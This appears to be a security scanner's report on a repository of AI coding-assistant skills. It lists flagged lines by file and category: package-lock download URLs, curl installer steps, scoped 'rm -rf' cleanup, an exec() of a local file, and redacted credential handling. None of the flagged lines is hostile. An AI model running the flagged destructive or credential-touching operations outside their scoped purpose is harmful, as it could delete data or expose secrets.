  • Network accessline 530
    sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543,
  • Network accessline 531
    wheels = [     { url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b9
  • Network accessline 532
    { url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d65228
  • Network accessline 533
    { url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a
  • Network accessline 534
    { url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a57867
  • Network accessline 535
    { url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0ba
  • Network accessline 536
    { url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56
  • Network accessline 537
    { url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e519370
  • Network accessline 538
    { url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size =
  • Network accessline 539
    { url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", si
  • Network accessline 540
    { url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", si
  • Network accessline 541
    { url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba
  • Network accessline 542
    { url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487
  • Network accessline 543
    { url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727e
  • Network accessline 544
    { url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1de
  • Network accessline 545
    { url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14
  • Network accessline 546
    { url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94a
  • Network accessline 547
    { url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size =
  • Network accessline 548
    { url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", si
  • Network accessline 549
    { url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", si
  • Network accessline 550
    { url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43b
  • Network accessline 551
    { url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e769
  • Network accessline 552
    { url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9c
  • Network accessline 553
    { url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd
  • Network accessline 554
    { url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae1
  • Network accessline 555
    { url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28
  • Network accessline 556
    { url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size =
  • Network accessline 557
    { url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", si
  • Network accessline 558
    { url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", si
  • Network accessline 559
    { url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc
  • Network accessline 560
    { url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a982
  • Network accessline 561
    { url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc4
  • Network accessline 562
    { url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef9
  • Network accessline 563
    { url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef26122
  • Network accessline 564
    { url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189f
  • Network accessline 565
    { url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size =
  • Network accessline 566
    { url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", si
  • Network accessline 567
    { url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", si
  • Network accessline 568
    { url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc1
  • Network accessline 569
    { url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4
  • Network accessline 570
    { url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e
  • Network accessline 571
    { url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95
  • Network accessline 572
    { url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb
  • Network accessline 573
    { url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572
  • Network accessline 574
    { url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size 
  • Network accessline 575
    { url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", s
  • Network accessline 576
    { url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", s
  • Network accessline 577
    { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 1458
  • Network accessline 581
    name = "typing-extensions" version = "4.16.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 582
    version = "4.16.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha2
  • Network accessline 583
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 584
    sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", 
  • Network accessline 585
    wheels = [     { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f3
  • Network accessline 586
    { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"
  • Network accessline 590
    name = "urllib3" version = "2.8.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 591
    version = "2.8.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", hash = "sha256:63bf2ead4
  • Network accessline 592
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 593
    sdist = { url = "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", hash = "sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63", size = 4589
  • Network accessline 594
    wheels = [     { url = "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", hash = "sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac
  • Network accessline 595
    { url = "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", hash = "sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", size = 13

daymade-skill/skill-creator/workflows/conversation-mining/scripts/init_conversation_mining.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/workflows/wrapper-skill/patterns.md

  • Dangerous shell operationline 129
    rm -rf "$STAGING_DIR"
  • Network accessline 151
    # Require basic tools — fail fast with a specific missing-tool message. for tool in curl unzip npx; do
  • Network accessline 152
    for tool in curl unzip npx; do
  • Network accessline 178
    # and capture the HTTP code for the error-branch message. echo "  Downloading ${ZIP_URL}" http_code=$(curl -sS -L --fail -o "$ZIP_PATH" -w "%{http_code}" "$ZIP_URL" || echo "000")
  • Network accessline 179
    echo "  Downloading ${ZIP_URL}" http_code=$(curl -sS -L --fail -o "$ZIP_PATH" -w "%{http_code}" "$ZIP_URL" || echo "000") if [ "$http_code" != "200" ]; then
  • Network accessline 180
    http_code=$(curl -sS -L --fail -o "$ZIP_PATH" -w "%{http_code}" "$ZIP_URL" || echo "000")
  • Network accessline 274
    - **Prerequisite check discipline**: every external tool the script depends on is verified up front. `curl`, `unzip`, `npx` are checked by the `command -v` loop. Node.js is checked separately with a *numeric major-version parse* because `co
  • Network accessline 275
    - **Download integrity defense in depth**: `curl --fail` catches HTTP errors as non-zero exits; `-w "%{http_code}"` captures the code for a specific error message; an explicit `!= "200"` branch gives the user an override hint (`<TOOL>_VERSI
  • Dangerous shell operationline 510
    # will otherwise hang the script on an "overwrite?" prompt, and `alias rm='rm -i'`
  • Dangerous shell operationline 527
    #    GNU. Always `command rm -f *.bak` after the sed to clean up the backup
  • Dangerous shell operationline 537
    command rm -f "<install>/<any-files-the-fix-created>"
  • Dangerous shell operationline 573
    **Why every command needs `command` prefix (including `sed` and `rm`, not just `cp`/`mv`)**: a user's shell may alias any of these to its `-i` variant. `alias mv='mv -i'` is common and was discovered during ima-copilot dogfood when it cause
  • Dangerous shell operationline 581
    **Why `sed -i.bak` specifically (and why the `.bak` cleanup)**: `sed -i` has an incompatible argument between BSD sed (macOS default) and GNU sed (Linux default). BSD sed requires `-i ''` (empty string argument naming the backup suffix); GN
  • Access to secretsline 607
    [Credential-related source omitted]
  • Network accessline 608
    2. **Env var fallback** (`<TOOL>_OPENAPI_CLIENTID` / `<TOOL>_OPENAPI_APIKEY`) documented as "env vars win over files when both are set". 3. **Scoped liveness check** — see the next section. The liveness call must probe the lowest-privilege 
  • Network accessline 609
    3. **Scoped liveness check** — see the next section. The liveness call must probe the lowest-privilege operation the skill actually performs, not the easiest API call to make. 4. **Liveness verification by response-body shape, not HTTP stat
  • Network accessline 610
    [Credential-related source omitted]
  • Access to secretsline 610
    [Credential-related source omitted]

daymade-skill/skill-creator/workflows/wrapper-skill/scripts/init_wrapper_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 145
    rm -rf "$STAGING_DIR"
  • Network accessline 150
    # {placeholder_step_5} Fill in the rest of the installer. Key patterns: # - curl/wget with explicit --fail and HTTP code check
  • Network accessline 151
    # - curl/wget with explicit --fail and HTTP code check

daymade-skill/skill-creator/workflows/wrapper-skill/workflow.md

  • Network accessline 27
    This workflow was abstracted from a real session that produced [`ima-copilot`](https://github.com/daymade/claude-code-skills/tree/main/ima-copilot) — a wrapper around the Tencent IMA skill. Every abstract step below has a concrete instance 
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Network accessline 213
    - `trap cleanup EXIT` for staging - **Prerequisite checks**: `command -v` loop for `curl`, `unzip`, `npx`, plus a separate numeric Node.js ≥18 check (parsing `node --version`). The Node check is its own step because `command -v node` only v
  • Network accessline 214
    - **Prerequisite checks**: `command -v` loop for `curl`, `unzip`, `npx`, plus a separate numeric Node.js ≥18 check (parsing `node --version`). The Node check is its own step because `command -v node` only verifies presence, and `npx skills 
  • Network accessline 215
    - **Download integrity defense in depth**: `curl --fail -o <path> -w "%{http_code}"`, explicit `!= "200"` branch with a version-override hint, then a `wc -c` size sanity check rejecting archives below an absolute floor before extraction. Th
  • Dangerous shell operationline 254
    - **Alias-safe** — uses `command cp` / `command mv` / `command rm` / `command sed`, never the bare form, to dodge user shell aliases like `alias mv='mv -i'` that would hang the script on a prompt. `alias rm='rm -i'` is equally common and af
  • Dangerous shell operationline 255
    - **Cross-platform portable for sed** — use `sed -i.bak ... && command rm -f "<file>.bak"` which works on both BSD sed (macOS) and GNU sed (Linux). Bare `-i` and `-i ''` are mutually incompatible.

daymade-skill/skill-governance/SKILL.md

  • Dangerous shell operationline 139
    `rm -rf`.

daymade-skill/skill-governance/scripts/audit_claude_skill_surface.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 55
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 56
    [Credential-related source omitted]
  • Access to secretsline 56
    [Credential-related source omitted]
  • Network accessline 57
    "ANTHROPIC_BASE_URL": "http://127.0.0.1:9",

daymade-skill/skill-governance/scripts/audit_codex_skill_surface.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 510
    exec(compile(resolver_path.read_text(encoding="utf-8"), str(resolver_path), "exec"), owner.__dict__)

daymade-skill/skill-governance/scripts/audit_project_skill_roots.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-governance/scripts/audit_skill_delivery.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-governance/tests/test_audit_claude_skill_surface.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-governance/tests/test_audit_codex_skill_surface.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 848
    [Credential-related source omitted]

daymade-skill/skill-governance/tests/test_audit_project_skill_roots.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-governance/tests/test_audit_skill_delivery.py

  • Executable scriptline 1
    Executable file

daymade-skill/skill-reviewer/SKILL.md

  • Network accessline 221
    - `references/quality_rubric.json` - Design anchors and type adaptations - `references/quality_method_sources.md` - Fixed-revision evidence, calibration and runtime boundary - Best practices: https://platform.claude.com/docs/en/agents-and-t
  • Network accessline 223
    - Best practices: https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices

daymade-skill/skill-reviewer/references/pr_template.md

  • Network accessline 23
    This PR improves the [skill-name] skill by aligning it with [Claude Code Skill Best Practices](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices).
  • Network accessline 80
    - [Claude Code Skill Best Practices](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices)
  • Network accessline 81
    - [Skills Overview](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview)
  • Network accessline 85
    🤖 Generated with [Claude Code](https://claude.com/claude-code)

daymade-skill/skill-reviewer/references/quality_method_sources.md

  • Network accessline 12
    | Source at an immutable revision | Principle adopted | Boundary retained | |---|---|---| | [SkillNet evaluation prompt](https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skillnet-ai/src/skillnet_ai/core/promp
  • Network accessline 13
    |---|---|---| | [SkillNet evaluation prompt](https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skillnet-ai/src/skillnet_ai/core/prompts.py#L138) | Judge practical domain behavior; instruction-only skills are v
  • Network accessline 14
    | [SkillNet evaluation prompt](https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skillnet-ai/src/skillnet_ai/core/prompts.py#L138) | Judge practical domain behavior; instruction-only skills are valid; costs de
  • Network accessline 15
    | [SkillNet loader and error path](https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skillnet-ai/src/skillnet_ai/evaluator.py#L647) | Track what was actually read and keep evaluation faults separate from quali
  • Network accessline 16
    | [skills-refiner design lenses](https://github.com/yknothing/skills-refiner/blob/4d8a196e44c1fa06cb786c06c2aaf24028664c01/skills/skills-refiner/SKILL.md#L47) | Identify purpose, executor, host, expertise, composition and evidence maturity 
  • Network accessline 17
    | [ACES runtime metrics](https://github.com/NVIDIA/SkillEvaluator/blob/a045b13cbe5084c426ae0f06f367ad1d50c126ce/src/skillevaluator/tier3/harbor/metrics.py#L18) | Separate process evidence from answer correctness and goal achievement. | This
  • Network accessline 18
    | [Anthropic artifact grading](https://github.com/anthropics/skills/blob/8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4/skills/skill-creator/agents/grader.md#L29) | Inspect actual outputs and critique assertions that accept an incorrect artifact.

daymade-skill/skill-reviewer/references/quality_rubric.json

  • Network accessline 74
    },   "sources": [     "https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skillnet-ai/src/skillnet_ai/core/prompts.py#L138",
  • Network accessline 75
    "sources": [     "https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skillnet-ai/src/skillnet_ai/core/prompts.py#L138",     "https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skil
  • Network accessline 76
    "https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skillnet-ai/src/skillnet_ai/core/prompts.py#L138",
  • Network accessline 77
    "https://github.com/zjunlp/SkillNet/blob/358ec824577e8a5aa6857c0eff268e492703606b/skillnet-ai/src/skillnet_ai/evaluator.py#L647",
  • Network accessline 78
    "https://github.com/yknothing/skills-refiner/blob/4d8a196e44c1fa06cb786c06c2aaf24028664c01/skills/skills-refiner/SKILL.md#L47",
  • Network accessline 79
    "https://github.com/NVIDIA/SkillEvaluator/blob/a045b13cbe5084c426ae0f06f367ad1d50c126ce/src/skillevaluator/tier3/harbor/metrics.py#L18",
  • Network accessline 80
    "https://github.com/anthropics/skills/blob/8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4/skills/skill-creator/agents/grader.md#L29"

daymade-skill/skill-reviewer/scripts/quality_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-reviewer/scripts/review_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-reviewer/tests/test_quality_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-reviewer/tests/test_review_skill.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]

daymade-skill/skills-search/SKILL.md

  • Broad permissionsline 1
    Bash, Read

daymade-skill/skills-search/scripts/local_sources.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]

daymade-skill/skills-search/tests/test_local_sources.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 35
    self.git(root, "config", "user.name", "Fixture")         self.git(root, "config", "user.email", "fixture@example.invalid")         self.git(root, "remote", "add", "origin", f"https://github.com/example/{name}.git")
  • Network accessline 36
    self.git(root, "config", "user.email", "fixture@example.invalid")         self.git(root, "remote", "add", "origin", f"https://github.com/example/{name}.git")         (root / ".claude-plugin").mkdir()
  • Network accessline 37
    self.git(root, "remote", "add", "origin", f"https://github.com/example/{name}.git")
  • Network accessline 135
    _, trusted = self.cli("search", "Chrome", "--tier", "trusted")         self.assertEqual([s["id"] for s in trusted["coverage"]], ["partner"])         self.git(repo, "remote", "set-url", "origin", "https://github.com/example/different.git")
  • Network accessline 136
    self.assertEqual([s["id"] for s in trusted["coverage"]], ["partner"])         self.git(repo, "remote", "set-url", "origin", "https://github.com/example/different.git")         rc, drift = self.cli("search", "Chrome")
  • Network accessline 137
    self.git(repo, "remote", "set-url", "origin", "https://github.com/example/different.git")

debugging-network-issues/SKILL.md

  • Network accessline 64
    Before accepting "the monitor says it's healthy" as evidence, ask: **which exact path does that check exercise?** Its green counts as evidence for that path alone. Enumerate the planes the system actually forwards or serves, and probe the f
  • Network accessline 217
    # Channel A — the service under suspicion. Point it at the largest object you can name. # --max-time aborts mid-transfer; -w still prints, and curl exits 28. That is a
  • Network accessline 218
